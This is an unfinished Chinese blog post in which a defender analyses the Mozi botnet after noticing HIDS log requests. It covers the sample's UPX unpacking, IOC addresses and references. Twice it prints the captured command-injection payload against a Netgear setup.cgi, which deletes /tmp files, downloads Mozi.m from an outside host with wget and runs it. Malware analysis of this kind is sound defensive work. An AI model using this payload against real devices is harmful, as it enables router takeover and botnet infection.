这是一篇没写完的文章,因为我下班了 🤣
在下班之前看了一眼HIDS,发现有一个IP地址为182.56.54.149
一直在GET
请求setup.cgi
next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://182.56.54.149:55450/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
当时问了边上的大佬,我说你看还有这种请求,google搜了一下Mozi发现好像是挖矿的,因为当时快下班了,所以没有太在意,在地铁上看文章的时候发现一个名为mozi的僵尸网络,就在想是不是跟在公司看到的是同一个,故此分析。


1、样本的UPX修复与脱壳

看到UPX 3.95 下载了脱壳机 UPX SHELL

修改了p_info结构,需要脱壳修复,这里的mozi.m使用0填充了这个结构体,没办法直接使用脱壳机,查阅一些资料后

找到p_info =====》p_filesize 字段




2、样本分析



如果存在/usr/bin/python 则修改进程名为sshd





3、IOC
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
ttracker.debian.org:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881
4、Payload
next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://182.56.54.149:55450/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
5、参考文章
https://zhuanlan.kanxue.com/article-4671.htm
https://cloud.tencent.com/developer/article/1366157
http://blog.nsfocus.net/mozi/
https://www.freebuf.com/articles/terminal/191303.html